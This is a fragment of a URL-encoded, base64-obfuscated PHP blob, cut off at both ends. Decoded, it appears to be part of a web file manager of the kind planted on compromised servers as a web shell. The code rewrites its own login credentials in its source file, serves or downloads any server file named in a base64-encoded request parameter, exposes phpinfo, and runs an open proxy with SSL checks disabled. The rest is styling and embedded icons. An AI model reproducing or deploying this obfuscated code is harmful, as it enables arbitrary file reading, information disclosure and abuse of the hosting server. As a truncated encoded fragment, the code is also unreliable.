cXHNdP1xcJ1xce1xcXCIoLio%2FKVxcXCJcXH1cXCc7IycsICRmZ2MsICRtYXRjaGVzKTtcclxuXHRcdGlmICghZW1wdHkoJG1hdGNoZXNbMV0pKSB7XHJcblx0XHRcdCRmaWxlbXRpbWUgPSBmaWxlbXRpbWUoX19GSUxFX18pO1xyXG5cdFx0XHQkcmVwbGFjZSA9IHN0cl9yZXBsYWNlKCd7XCInLiRtYXRjaGVzWzFdLidcIn0nLCRmbV9sb2dpbiwkZmdjKTtcclxuXHRcdFx0aWYgKGZpbGVfcHV0X2NvbnRlbnRzKF9fRklMRV9fLCAkcmVwbGFjZSkpIHtcclxuXHRcdFx0XHQkbXNnX250aW1lcyAuPSBfXygnRmlsZSB1cGRhdGVkJyk7XHJcblx0XHRcdFx0aWYgKCRfUE9TVFsnZm1fbG9naW4nXVsnbG9naW4nXSAhPSAkYXV0aFsnbG9naW4nXSkgJG1zZ19udGltZXMgLj0gJyAnLl9fKCdMb2dpbicpLic6ICcuJF9QT1NUWydmbV9sb2dpbiddWydsb2dpbiddO1xyXG5cdFx0XHRcdGlmICgkX1BPU1RbJ2ZtX2xvZ2luJ11bJ3Bhc3N3b3JkJ10gIT0gJGF1dGhbJ3Bhc3N3b3JkJ10pICRtc2dfbnRpbWVzIC49ICcgJy5fXygnUGFzc3dvcmQnKS4nOiAnLiRfUE9TVFsnZm1fbG9naW4nXVsncGFzc3dvcmQnXTtcclxuXHRcdFx0XHQkYXV0aCA9ICRfUE9TVFsnZm1fbG9naW4nXTtcclxuXHRcdFx0fVxyXG5cdFx0XHRlbHNlICRtc2dfbnRpbWVzIC49IF9fKCdFcnJvciBvY2N1cnJlZCcpO1xyXG5cdFx0XHRpZiAoIWVtcHR5KCRmbV9jb25maWdbJ2ZtX3Jlc3RvcmVfdGltZSddKSkgdG91Y2goX19GSUxFX18sJGZpbGVtdGltZSk7XHJcblx0XHR9XHJcblx0fSBlbHNlaWYgKGlzc2V0KCRfUE9TVFsndHBsX2VkaXRlZCddKSkgeyBcclxuXHRcdCRsbmdfdHBsID0gJF9QT1NUWyd0cGxfZWRpdGVkJ107XHJcblx0XHRpZiAoIWVtcHR5KCRfUE9TVFskbG5nX3RwbC4nX25hbWUnXSkpIHtcclxuXHRcdFx0JGZtX3BocCA9IGpzb25fZW5jb2RlKGFycmF5X2NvbWJpbmUoJF9QT1NUWyRsbmdfdHBsLidfbmFtZSddLCRfUE9TVFskbG5nX3RwbC4nX3ZhbHVlJ10pLEpTT05fSEVYX0FQT1MpO1xyXG5cdFx0fSBlbHNlaWYgKCFlbXB0eSgkX1BPU1RbJGxuZ190cGwuJ19uZXdfbmFtZSddKSkge1xyXG5cdFx0XHQkZm1fcGhwID0ganNvbl9lbmNvZGUoanNvbl9kZWNvZGUoJHskbG5nX3RwbC4nX3RlbXBsYXRlcyd9LHRydWUpK2FycmF5KCRfUE9TVFskbG5nX3RwbC4nX25ld19uYW1lJ109PiRfUE9TVFskbG5nX3RwbC4nX25ld192YWx1ZSddKSxKU09OX0hFWF9BUE9TKTtcclxuXHRcdH1cclxuXHRcdGlmICghZW1wdHkoJGZtX3BocCkpIHtcclxuXHRcdFx0JGZnYyA9IGZpbGVfZ2V0X2NvbnRlbnRzKF9fRklMRV9fKTtcclxuXHRcdFx0JHNlYXJjaCA9IHByZWdfbWF0Y2goJyMnLiRsbmdfdHBsLidfdGVtcGxhdGVzW1xcc10%2FXFw9W1xcc10%2FXFwnXFx7XFxcIiguKj8pXFxcIlxcfVxcJzsjJywgJGZnYywgJG1hdGNoZXMpO1xyXG5cdFx0XHRpZiAoIWVtcHR5KCRtYXRjaGVzWzFdKSkge1xyXG5cdFx0XHRcdCRmaWxlbXRpbWUgPSBmaWxlbXRpbWUoX19GSUxFX18pO1xyXG5cdFx0XHRcdCRyZXBsYWNlID0gc3RyX3JlcGxhY2UoJ3tcIicuJG1hdGNoZXNbMV0uJ1wifScsJGZtX3BocCwkZmdjKTtcclxuXHRcdFx0XHRpZiAoZmlsZV9wdXRfY29udGVudHMoX19GSUxFX18sICRyZXBsYWNlKSkge1xyXG5cdFx0XHRcdFx0JHskbG5nX3RwbC4nX3RlbXBsYXRlcyd9ID0gJGZtX3BocDtcclxuXHRcdFx0XHRcdCRtc2dfbnRpbWVzIC49IF9fKCdGaWxlIHVwZGF0ZWQnKTtcclxuXHRcdFx0XHR9IGVsc2UgJG1zZ19udGltZXMgLj0gX18oJ0Vycm9yIG9jY3VycmVkJyk7XHJcblx0XHRcdFx0aWYgKCFlbXB0eSgkZm1fY29uZmlnWydmbV9yZXN0b3JlX3RpbWUnXSkpIHRvdWNoKF9fRklMRV9fLCRmaWxlbXRpbWUpO1xyXG5cdFx0XHR9XHRcclxuXHRcdH0gZWxzZSAkbXNnX250aW1lcyAuPSBfXygnRXJyb3Igb2NjdXJyZWQnKTtcclxuXHR9XHJcbn1cclxuXHJcblwvXC8gSnVzdCBzaG93IGltYWdlXHJcbmlmIChpc3NldCgkX0dFVFsnaW1nJ10pKSB7XHJcblx0JGZpbGU9YmFzZTY0X2RlY29kZSgkX0dFVFsnaW1nJ10pO1xyXG5cdGlmICgkaW5mbz1nZXRpbWFnZXNpemUoJGZpbGUpKXtcclxuXHRcdHN3aXRjaCAgKCRpbmZvWzJdKXtcdFwvXC8xPUdJRiwgMj1KUEcsIDM9UE5HLCA0PVNXRiwgNT1QU0QsIDY9Qk1QXHJcblx0XHRcdGNhc2UgMTogJGV4dD0nZ2lmJzsgYnJlYWs7XHJcblx0XHRcdGNhc2UgMjogJGV4dD0nanBlZyc7IGJyZWFrO1xyXG5cdFx0XHRjYXNlIDM6ICRleHQ9J3BuZyc7IGJyZWFrO1xyXG5cdFx0XHRjYXNlIDY6ICRleHQ9J2JtcCc7IGJyZWFrO1xyXG5cdFx0XHRkZWZhdWx0OiBkaWUoKTtcclxuXHRcdH1cclxuXHRcdGhlYWRlcihcIkNvbnRlbnQtdHlwZTogaW1hZ2VcLyRleHRcIik7XHJcblx0XHRlY2hvIGZpbGVfZ2V0X2NvbnRlbnRzKCRmaWxlKTtcclxuXHRcdGRpZSgpO1xyXG5cdH1cclxufVxyXG5cclxuXC9cLyBKdXN0IGRvd25sb2FkIGZpbGVcclxuaWYgKGlzc2V0KCRfR0VUWydkb3dubG9hZCddKSkge1xyXG5cdCRmaWxlPWJhc2U2NF9kZWNvZGUoJF9HRVRbJ2Rvd25sb2FkJ10pO1xyXG5cdGZtX2Rvd25sb2FkKCRmaWxlKTtcdFxyXG59XHJcblxyXG5cL1wvIEp1c3Qgc2hvdyBpbmZvXHJcbmlmIChpc3NldCgkX0dFVFsncGhwaW5mbyddKSkge1xyXG5cdHBocGluZm8oKTsgXHJcblx0ZGllKCk7XHJcbn1cclxuXHJcblwvXC8gTWluaSBwcm94eSwgbWFueSBidWdzIVxyXG5pZiAoaXNzZXQoJF9HRVRbJ3Byb3h5J10pICYmICghZW1wdHkoJGZtX2NvbmZpZ1snZW5hYmxlX3Byb3h5J10pKSkge1xyXG5cdCR1cmwgPSBpc3NldCgkX0dFVFsndXJsJ10pP3VybGRlY29kZSgkX0dFVFsndXJsJ10pOicnO1xyXG5cdCRwcm94eV9mb3JtID0gJ1xyXG48ZGl2IHN0eWxlPVwicG9zaXRpb246cmVsYXRpdmU7ei1pbmRleDoxMDA1MDA7YmFja2dyb3VuZDogbGluZWFyLWdyYWRpZW50KHRvIGJvdHRvbSwgI2U0ZjVmYyAwJSwjYmZlOGY5IDUwJSwjOWZkOGVmIDUxJSwjMmFiMGVkIDEwMCUpO1wiPlxyXG5cdDxmb3JtIGFjdGlvbj1cIlwiIG1ldGhvZD1cIkdFVFwiPlxyXG5cdDxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInByb3h5XCIgdmFsdWU9XCJ0cnVlXCI%2BXHJcblx0Jy5mbV9ob21lKCkuJyA8YSBocmVmPVwiJy4kdXJsLidcIiB0YXJnZXQ9XCJfYmxhbmtcIj5Vcmw8XC9hPjogPGlucHV0IHR5cGU9XCJ0ZXh0XCIgbmFtZT1cInVybFwiIHZhbHVlPVwiJy4kdXJsLidcIiBzaXplPVwiNTVcIj5cclxuXHQ8aW5wdXQgdHlwZT1cInN1Ym1pdFwiIHZhbHVlPVwiJy5fXygnU2hvdycpLidcIiBjbGFzcz1cImZtX2lucHV0XCI%2BXHJcblx0PFwvZm9ybT5cclxuPFwvZGl2PlxyXG4nO1xyXG5cdGlmICgkdXJsKSB7XHJcblx0XHQkY2ggPSBjdXJsX2luaXQoJHVybCk7XHJcblx0XHRjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVNFUkFHRU5ULCAnRGVuMXh4eCB0ZXN0IHByb3h5Jyk7XHJcblx0XHRjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfRk9MTE9XTE9DQVRJT04sIDEpO1xyXG5cdFx0Y3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1NTTF9WRVJJRllIT1NULDApO1xyXG5cdFx0Y3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1NTTF9WRVJJRllQRUVSLDApO1xyXG5cdFx0Y3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0hFQURFUiwgMCk7XHJcblx0XHRjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVGRVJFUiwgJHVybCk7XHJcblx0XHRjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsdHJ1ZSk7XHJcblx0XHQkcmVzdWx0ID0gY3VybF9leGVjKCRjaCk7XHJcblx0XHRjdXJsX2Nsb3NlKCRjaCk7XHJcblx0XHRcL1wvJHJlc3VsdCA9IHByZWdfcmVwbGFjZSgnIyhzcmMpPVtcIlxcJ11baHR0cDpcL1wvXT8oW146XSopW1wiXFwnXSNVaScsICdcXFxcMT1cIicuJHVybC4nXC9cXFxcMlwiJywgJHJlc3VsdCk7XHJcblx0XHQkcmVzdWx0ID0gcHJlZ19yZXBsYWNlX2NhbGxiYWNrKCcjKGhyZWZ8c3JjKT1bXCJcXCddW2h0dHA6XC9cL10%2FKFteOl0qKVtcIlxcJ10jVWknLCAnZm1fdXJsX3Byb3h5JywgJHJlc3VsdCk7XHJcblx0XHQkcmVzdWx0ID0gcHJlZ19yZXBsYWNlKCclKDxib2R5Lio%2FPiklaScsICckMScuJzxzdHlsZT4nLmZtX2hvbWVfc3R5bGUoKS4nPFwvc3R5bGU%2BJy4kcHJveHlfZm9ybSwgJHJlc3VsdCk7XHJcblx0XHRlY2hvICRyZXN1bHQ7XHJcblx0XHRkaWUoKTtcclxuXHR9IFxyXG59XHJcbj8%2BXHJcbjwhZG9jdHlwZSBodG1sPlxyXG48aHRtbD5cclxuPGhlYWQ%2BICAgICBcclxuXHQ8bWV0YSBjaGFyc2V0PVwidXRmLThcIiBcLz5cclxuXHQ8bWV0YSBuYW1lPVwidmlld3BvcnRcIiBjb250ZW50PVwid2lkdGg9ZGV2aWNlLXdpZHRoLCBpbml0aWFsLXNjYWxlPTFcIiBcLz5cclxuICAgIDx0aXRsZT5GaWxlWFhYWFhYWFhYWFg8XC90aXRsZT5cclxuPHN0eWxlPlxyXG5ib2R5IHtcclxuXHRiYWNrZ3JvdW5kLWNvbG9yOlx0d2hpdGU7XHJcblx0Zm9udC1mYW1pbHk6XHRcdFZlcmRhbmEsIEFyaWFsLCBIZWx2ZXRpY2EsIHNhbnMtc2VyaWY7XHJcblx0Zm9udC1zaXplOlx0XHRcdDhwdDtcclxuXHRtYXJnaW46XHRcdFx0XHQwcHg7XHJcbn1cclxuXHJcbmE6bGluaywgYTphY3RpdmUsIGE6dmlzaXRlZCB7IGNvbG9yOiAjMDA2Njk5OyB0ZXh0LWRlY29yYXRpb246IG5vbmU7IH1cclxuYTpob3ZlciB7IGNvbG9yOiAjREQ2OTAwOyB0ZXh0LWRlY29yYXRpb246IHVuZGVybGluZTsgfVxyXG5hLnRoOmxpbmsgeyBjb2xvcjogI0ZGQTM0RjsgdGV4dC1kZWNvcmF0aW9uOiBub25lOyB9XHJcbmEudGg6YWN0aXZlIHsgY29sb3I6ICNGRkEzNEY7IHRleHQtZGVjb3JhdGlvbjogbm9uZTsgfVxyXG5hLnRoOnZpc2l0ZWQgeyBjb2xvcjogI0ZGQTM0RjsgdGV4dC1kZWNvcmF0aW9uOiBub25lOyB9XHJcbmEudGg6aG92ZXIgeyAgY29sb3I6ICNGRkEzNEY7IHRleHQtZGVjb3JhdGlvbjogdW5kZXJsaW5lOyB9XHJcblxyXG50YWJsZS5iZyB7XHJcblx0YmFja2dyb3VuZC1jb2xvcjogI0FDQkJDNlxyXG59XHJcblxyXG50aCwgdGQgeyBcclxuXHRmb250Olx0bm9ybWFsIDhwdCBWZXJkYW5hLCBBcmlhbCwgSGVsdmV0aWNhLCBzYW5zLXNlcmlmO1xyXG5cdHBhZGRpbmc6IDNweDtcclxufVxyXG5cclxudGhcdHtcclxuXHRoZWlnaHQ6XHRcdFx0XHQyNXB4O1xyXG5cdGJhY2tncm91bmQtY29sb3I6XHQjMDA2Njk5O1xyXG5cdGNvbG9yOlx0XHRcdFx0I0ZGQTM0RjtcclxuXHRmb250LXdlaWdodDpcdFx0Ym9sZDtcclxuXHRmb250LXNpemU6XHRcdFx0MTFweDtcclxufVxyXG5cclxuLnJvdzEge1xyXG5cdGJhY2tncm91bmQtY29sb3I6XHQjRUZFRkVGO1xyXG59XHJcblxyXG4ucm93MiB7XHJcblx0YmFja2dyb3VuZC1jb2xvcjpcdCNERUUzRTc7XHJcbn1cclxuXHJcbi5yb3czIHtcclxuXHRiYWNrZ3JvdW5kLWNvbG9yOlx0I0QxRDdEQztcclxuXHRwYWRkaW5nOiA1cHg7XHJcbn1cclxuXHJcbnRyLnJvdzE6aG92ZXIge1xyXG5cdGJhY2tncm91bmQtY29sb3I6XHQjRjNGQ0ZDO1xyXG59XHJcblxyXG50ci5yb3cyOmhvdmVyIHtcclxuXHRiYWNrZ3JvdW5kLWNvbG9yOlx0I0YwRjZGNjtcclxufVxyXG5cclxuLndob2xlIHtcclxuXHR3aWR0aDogMTAwJTtcclxufVxyXG5cclxuLmFsbCB0Ym9keSB0ZDpmaXJzdC1jaGlsZHt3aWR0aDoxMDAlO31cclxuXHJcbnRleHRhcmVhIHtcclxuXHRmb250OiA5cHQgJ0NvdXJpZXIgTmV3JywgY291cmllcjtcclxuXHRsaW5lLWhlaWdodDogMTI1JTtcclxuXHRwYWRkaW5nOiA1cHg7XHJcbn1cclxuXHJcbi50ZXh0YXJlYV9pbnB1dCB7XHJcblx0aGVpZ2h0OiAxZW07XHJcbn1cclxuXHJcbi50ZXh0YXJlYV9pbnB1dDpmb2N1cyB7XHJcblx0aGVpZ2h0OiBhdXRvO1xyXG59XHJcblxyXG5pbnB1dFt0eXBlPXN1Ym1pdF17XHJcblx0YmFja2dyb3VuZDogI0ZDRkNGQyBub25lICFpbXBvcnRhbnQ7XHJcblx0Y3Vyc29yOiBwb2ludGVyO1xyXG59XHJcblxyXG4uZm9sZGVyIHtcclxuICAgIGJhY2tncm91bmQtaW1hZ2U6IHVybChcImRhdGE6aW1hZ2VcL3BuZztiYXNlNjQsaVZCT1J3MEtHZ29BQUFBTlNVaEVVZ0FBQUJBQUFBQVFDQVlBQUFBZjhcLzloQUFBS1QybERRMUJRYUc5MGIzTm9iM0FnU1VORElIQnliMlpwYkdVQUFIamFuVk5uVkZQcEZqMzMzdlJDUzRpQWxFdHZVaFVJSUZKQ2k0QVVrU1lxSVFrUVNvZ2hvZGtWVWNFUlJVVUVHOGlnaUFPT2pvQ01GVkVzRElvSzJBZmtJYUtPZzZPSWlzcjc0WHVqYTlhODkrYk5cL3JYWFB1ZXM4NTJ6endmQUNBeVdTRE5STllBTXFVSWVFZUNEeDhURzRlUXVRSUVLSkhBQUVBaXpaQ0Z6XC9TTUJBUGgrUER3cklzQUh2Z0FCZU5NTENBREFUWnZBTUJ5SFwvd1wvcVFwbGNBWUNFQWNCMGtUaExDSUFVQUVCNmprS21BRUJHQVlDZG1DWlRBS0FFQUdETFkyTGpBRkF0QUdBbmYrYlRBSUNkK0psN0FRQmJsQ0VWQWFDUkFDQVRaWWhFQUdnN0FLelBWb3BGQUZnd0FCUm1TOFE1QU5ndEFEQkpWMlpJQUxDM0FNRE9FQXV5QUFnTUFEQlJpSVVwQUFSN0FHRElJeU40QUlTWkFCUkc4bGM4OFN1dUVPY3FBQUI0bWJJOHVTUTVSWUZiQ0MxeEIxZFhMaDRvemtrWEt4UTJZUUpobWtBdXdubVpHVEtCTkFcL2c4OHdBQUtDUkZSSGdnXC9QOWVNNE9yczdPTm82MkRsOHQ2cjhHXC95SmlZdVArNWMrcmNFQUFBT0YwZnRIK0xDK3pHb0E3Qm9CdFwvcUlsN2dSb1hndWdkZmVMWnJJUFFMVUFvT25hVlwvTncrSDQ4UEVXaGtMbloyZVhrNU5oS3hFSmJZY3BYZmY1bndsXC9BVlwvMXMrWDQ4XC9QZjE0TDdpSklFeVhZRkhCUGpnd3N6MFRLVWN6NUlKaEdMYzVvOUhcL0xjTFwvXC93ZDB5TEVTV0s1V0NvVTQxRVNjWTVFbW96ek1xVWlpVUtTS2NVbDB2OWs0dDhzK3dNKzN6VUFzR28rQVh1UkxhaGRZd1AyU3ljUVdIVEE0dmNBQVBLN2I4SFVLQWdEZ0dpRDRjOTNcLys4XC9cL1VlZ0pRQ0Faa21TY1FBQVhrUWtMbFRLc3pcL0hDQUFBUktDQktyQkJHXC9UQkdDekFCaHpCQmR6QkNcL3hnTm9SQ0pNVENRaEJDQ21TQUhISmdLYXlDUWlpR3piQWRLbUF2MUVBZE5NQlJhSWFUY0E0dXdsVzREajF3RFwvcGhDSjdCS0x5QkNRUkJ5QWdUWVNIYWlBRmlpbGdqamdnWG1ZWDRJY0ZJQkJLTEpDREppQlJSSWt1Uk5VZ3hVb3BVSUZWSUhmSTljZ0k1aDF4R3VwRTd5QUF5Z3Z5R3ZFY3hsSUd5VVQzVURMVkR1YWczR29SR29ndlFaSFF4bW84V29KdlFjclFhUFl3Mm9lZlFxMmdQMm84K1E4Y3d3T2dZQnpQRWJEQXV4c05Dc1Rnc0NaTmp5N0VpckF5cnhocXdWcXdEdTRuMVk4K3hkd1FTZ1VYQUNUWUVkMElnWVI1QlNGaE1XRTdZU0tnZ0hDUTBFZG9KTndrRGhGSENKeUtUcUV1MEpyb1IrY1FZWWpJeGgxaElMQ1BXRW84VEx4QjdpRVBFTnlRU2lVTXlKN21RQWtteHBGVFNFdEpHMG01U0kra3NxWnMwU0Jvams4bmFaR3V5QnptVUxDQXJ5SVhrbmVURDVEUGtHK1FoOGxzS25XSkFjYVQ0VStJb1VzcHFTaG5sRU9VMDVRWmxtREpCVmFPYVV0Mm9vVlFSTlk5YVFxMmh0bEt2VVllb0V6UjFtam5OZ3haSlM2V3RvcFhUR21nWGFQZHByK2gwdWhIZGxSNU9sOUJYMHN2cFIraVg2QVAwZHd3TmhoV0R4NGhuS0JtYkdBY1laeGwzR0srWVRLWVowNHNaeDFRd056SHJtT2VaRDVsdlZWZ3F0aXA4RlpIS0NwVktsU2FWR3lvdlZLbXFwcXJlcWd0VjgxWExWSStwWGxOOXJrWlZNMVBqcVFuVWxxdFZxcDFRNjFNYlUyZXBPNmlIcW1lb2IxUVwvcEg1WlwvWWtHV2NOTXcwOURwRkdnc1ZcL2p2TVlnQzJNWnMzZ3NJV3NOcTRaMWdUWEVKckhOMlh4MktydVlcL1IyN2l6MnFxYUU1UXpOS00xZXpVdk9VWmo4SDQ1aHgrSngwVGdubktLZVg4MzZLM2hUdktlSXBHNlkwVExreFpWeHJxcGFYbGxpclNLdFJxMGZydlRhdTdhZWRwcjFGdTFuN2dRNUJ4MG9uWENkSFo0XC9PQlozblU5bFQzYWNLcHhaTlBUcjFyaTZxYTZVYm9idEVkNzl1cCs2WW5yNWVnSjVNYjZmZWViM24raHg5TFwvMVVcL1czNnBcL1ZIREZnR3N3d2tCdHNNemhnOHhUVnhiendkTDhmYjhWRkRYY05BUTZWaGxXR1g0WVNSdWRFOG85VkdqVVlQakduR1hPTWs0MjNHYmNhakpnWW1JU1pMVGVwTjdwcFNUYm1tS2FZN1REdE14ODNNemFMTjFwazFtejB4MXpMbm0rZWIxNXZmdDJCYWVGb3N0cWkydUdWSnN1UmFwbG51dHJ4dWhWbzVXYVZZVlZwZHMwYXRuYTBsMXJ1dHU2Y1JwN2xPazA2cm50Wm53N0R4dHNtMnFiY1pzT1hZQnR1dXRtMjJmV0ZuWWhkbnQ4V3V3KzZUdlpOOXVuMk5cL1QwSERZZlpEcXNkV2gxK2M3UnlGRHBXT3Q2YXpwenVQMzNGOUpicEwyZFl6eERQMkRQanRoUExLY1JwblZPYjAwZG5GMmU1YzRQemlJdUpTNExMTHBjK0xwc2J4dDNJdmVSS2RQVnhYZUY2MHZXZG03T2J3dTJvMjZcL3VOdTVwN29mY244dzBueW1lV1ROejBNUElRK0JSNWRFXC9DNStWTUd2ZnJINVBRMCtCWjdYbkl5OWpMNUZYcmRld3Q2VjNxdmRoN3hjKzlqNXluK00rNHp3MzNqTGVXVlwvTU44QzN5TGZMVDhOdm5sK0YzME5cL0lcLzlrXC8zclwvMFFDbmdDVUJad09KZ1VHQld3TDcrSHA4SWIrT1B6cmJaZmF5MmUxQmpLQzVRUlZCajRLdGd1WEJyU0ZveU95UXJTSDM1NWpPa2M1cERvVlFmdWpXMEFkaDVtR0x3MzRNSjRXSGhWZUdQNDV3aUZnYTBUR1hOWGZSM0VOejMwVDZSSlpFM3B0bk1VODVyeTFLTlNvK3FpNXFQTm8zdWpTNlA4WXVabG5NMVZpZFdFbHNTeHc1TGlxdU5tNXN2dFwvODdmT0g0cDNpQytON0Y1Z3Z5RjF3ZWFIT3d2U0ZweGFwTGhJc09wWkFUSWhPT0pUd1FSQXFxQmFNSmZJVGR5V09Dbm5DSGNKbklpXC9STnRHSTJFTmNLaDVPOGtncVRYcVM3Skc4Tlhra3hUT2xMT1c1aENlcGtMeE1EVXpkbXpxZUZwcDJJRzB5UFRxOU1ZT1NrWkJ4UXFvaFRaTzJaK3BuNW1aMnk2eGxoYkwreFc2THR5OGVsUWZKYTdPUXJBVlpMUXEyUXFib1ZGb28xeW9Ic21kbFYyYVwvelluS09aYXJuaXZON2N5enl0dVFONXp2blwvXC90RXNJUzRaSzJwWVpMVnkwZFdPYTlyR281c2p4eGVkc0s0eFVGSzRaV0Jxdzh1SXEyS20zVlQ2dnRWNWV1ZnIwbWVrMXJnVjdCeW9MQnRRRnI2d3RWQ3VXRmZldmMxKzFkVDFndldkKzFZZnFHblJzK0ZZbUtyaFRiRjVjVmY5Z28zSGpsRzRkdnlyK1ozSlMwcWF2RXVXVFBadEptNmViZUxaNWJEcGFxbCthWERtNE4yZHEwRGQ5V3RPMzE5a1hiTDVmTktOdTdnN1pEdWFPXC9QTGk4WmFmSnpzMDdQMVNrVlBSVStsUTI3dExkdFdIWCtHN1I3aHQ3dlBZMDdOWGJXN3ozXC9UN0p2dHRWQVZWTjFXYlZaZnRKKzdQM1A2NkpxdW40bHZ0dFhhMU9iWEh0eHdQU0FcLzBISXc2MjE3blUxUjNTUFZSU2o5WXI2MGNPeHgrK1wvcDN2ZHkwTk5nMVZqWnpHNGlOd1JIbms2ZmNKM1wvY2VEVHJhZG94N3JPRUgweDkySFdjZEwycENtdkthUnB0VG12dGJZbHU2VDh3KzBkYnEzbnI4UjlzZkQ1dzBQRmw1U3ZOVXlXbmE2WUxUazJmeXo0eWRsWjE5Zmk3NTNHRGJvclo3NTJQTzMyb1BiKys2RUhUaDBrWFwvaStjN3ZEdk9YUEs0ZFBLeTIrVVRWN2hYbXE4NlgyM3FkT284XC9wUFRUOGU3bkx1YXJybGNhN251ZXIyMWUyYjM2UnVlTjg3ZDlMMTU4UmJcLzF0V2VPVDNkdmZONmJcL2ZGOVwvWGZGdDErY2lmOXpzdTcyWGNuN3EyOFQ3eGY5RUR0UWRsRDNZZlZQMXYrM05qdjNIOXF3SGVnODlIY1JcL2NHaFlQUFwvcEgxanc5REJZK1pqOHVHRFlicm5qZytPVG5pUDNMOTZmeW5RODlrenlhZUZcLzZpXC9zdXVGeFl2ZnZqVjY5Zk8wWmpSb1pmeWw1T1wvYlh5bFwvZXJBNnhtdjI4YkN4aDYreVhnek1WNzBWdnZ0d1hmY2R4M3ZvOThQVCtSOElIOG9cLzJqNXNmVlQwS2Y3a3htVGtcLzhFQTVqelwvR016TGRzQUFBQUdZa3RIUkFEXC9BUDhBXC82QzlwNU1BQUFBSmNFaFpjd0FBQ3hNQUFBc1RBUUNhbkJnQUFBQUhkRWxOUlFmY0NBd0dNaGxlR0FLT0FBQUJ5RWxFUVZRNHk4V1RUMnNVUVJERmY5WFRNK1BHSUJIZEVFUVI4ZUFmZ2dhUEh2VHV5VStpK0EzOEFGNDhlZkpiS0I1ekUwSU1BVmNDaVJoUUU4Z21tMTExczltWjNabCtIbWF5NXFBWThHQkRkVFdQZW85SFZSZjg3Mk85eFZ2M1wvSm5yQ3lnSVU0MDZLXC9xYnJiUDNWeGJcL3FqRDgrT1NOdEMrVlg2UmlVeXJXcFhKRDJhZW5meVIzWHM5TjNoNXJGSXc2RUFZUXhzQUlLTUZ4K2NmU2cwZG1GaytxSmFReUd1MHR2d1QyS3dFWmhBTlFXWkdWZzNMUzgzZXVwTTJGNXlpRGtFOXdEUFo3NjJ2UWZWVUpoSUtRN1REYVc4VGlhY0NPMmxObmQ2eGpsWXZwbTQ5ZjVGdU5aK1hCeHBvbjVCVGZXcVN6TjRBRUxBRkxxK3dTYklMRmRYZ2d1b2liVWo3K3Z1MFJLRzlqZVlIazZ1SUVYSW9zUVpaaU5XWXVRU1FRVFdGdVlFVjNhY1hUZndkeGl0S3JRQXd1bVlpWU8zSnpDa1ZUeURXd3NnK0RWWlI5WU5UTDNucU5Ebkh4TkJxMmYxbWMySTFBZ25BSVJSZkdiVlFPYW1lbnlRN2F5NzRzSTN6K0ZXV0g5YWlPcmxDRkJPYXFxTG9JeWlqdytZV0hXOXUrQ0tiR3NJYzBcL3MyWDBiRnBITU5VRXVLWlZRQ1wvMngwbU0wMFA4aWRmQUFldHoyRVR3RzVmYTg3UG5vc3VoWUJPeW84Y3R0TUpXKzgzZGx2XC90SWwzRitiNENZeXAyVHh3MlZVd0FBQUFBRWxGVGtTdVFtQ0NcIik7XHJcbn1cclxuXHJcbi5maWxlIHtcclxuICAgIGJhY2tncm91bmQtaW1hZ2U6IHVybChcImRhdGE6aW1hZ2VcL3BuZztiYXNlNjQsaVZCT1J3MEtHZ29BQUFBTlNVaEVVZ0FBQUJBQUFBQVFDQVlBQUFBZjhcLzloQUFBS1QybERRMUJRYUc5MGIzTm9iM0FnU1VORElIQnliMlpwYkdVQUFIamFuVk5uVkZQcEZqMzMzdlJDUzRpQWxFdHZVaFVJSUZKQ2k0QVVrU1lxSVFrUVNvZ2hvZGtWVWNFUlJVVUVHOGlnaUFPT2pvQ01GVkVzRElvSzJBZmtJYUtPZzZPSWlzcjc0WHVqYTlhODkrYk5cL3JYWFB1ZXM4NTJ6endmQUNBeVdTRE5STllBTXFVSWVFZUNEeDhURzRlUXVRSUVLSkhBQUVBaXpaQ0Z6XC9TTUJBUGgrUER3cklzQUh2Z0FCZU5NTENBREFUWnZBTUJ5SFwvd1wvcVFwbGNBWUNFQWNCMGtUaExDSUFVQUVCNmprS21BRUJHQVlDZG1DWlRBS0FFQUdETFkyTGpBRkF0QUdBbmYrYlRBSUNkK0psN0FRQmJsQ0VWQWFDUkFDQVRaWWhFQUdnN0FLelBWb3BGQUZnd0FCUm1TOFE1QU5ndEFEQkpWMlpJQUxDM0FNRE9FQXV5QUFnTUFEQlJpSVVwQUFSN0FHRElJeU40QUlTWkFCUkc4bGM4OFN1dUVPY3FBQUI0bWJJOHVTUTVSWUZiQ0MxeEIxZFhMaDRvemtrWEt4UTJZUUpobWtBdXdubVpHVEtCTkFcL2c4OHdBQUtDUkZSSGdnXC9QOWVNNE9yczdPTm82MkRsOHQ2cjhHXC95SmlZdVArNWMrcmNFQUFBT0YwZnRIK0xDK3pHb0E3Qm9CdFwvcUlsN2dSb1hndWdkZmVMWnJJUFFMVUFvT25hVlwvTncrSDQ4UEVXaGtMbloyZVhrNU5oS3hFSmJZY3BYZmY1bndsXC9BVlwvMXMrWDQ4XC9QZjE0TDdpSklFeVhZRkhCUGpnd3N6MFRLVWN6NUlKaEdMYzVvOUhcL0xjTFwvXC93ZDB5TEVTV0s1V0NvVTQxRVNjWTVFbW96ek1xVWlpVUtTS2NVbDB2OWs0dDhzK3dNKzN6VUFzR28rQVh1UkxhaGRZd1AyU3ljUVdIVEE0dmNBQVBLN2I4SFVLQWdEZ0dpRDRjOTNcLys4XC9cL1VlZ0pRQ0Faa21TY1FBQVhrUWtMbFRLc3pcL0hDQUFBUktDQktyQkJHXC9UQkdDekFCaHpCQmR6QkNcL3hnTm9SQ0pNVENRaEJDQ21TQUhISmdLYXlDUWlpR3piQWRLbUF2MUVBZE5NQlJhSWFUY0E0dXdsVzREajF3RFwvcGhDSjdCS0x5QkNRUkJ5QWdUWVNIYWlBRmlpbGdqamdnWG1ZWDRJY0ZJQkJLTEpDREppQlJSSWt1Uk5VZ3hVb3BVSUZWSUhmSTljZ0k1aDF4R3VwRTd5QUF5Z3Z5R3ZFY3hsSUd5VVQzVURMVkR1YWczR29SR29ndlFaSFF4bW84V29KdlFjclFhUFl3Mm9lZlFxMmdQMm84K1E4Y3d3T2dZQnpQRWJEQXV4c05Dc1Rnc0NaTmp5N0VpckF5cnhocXdWcXdEdTRuMVk4K3hkd1FTZ1VYQUNUWU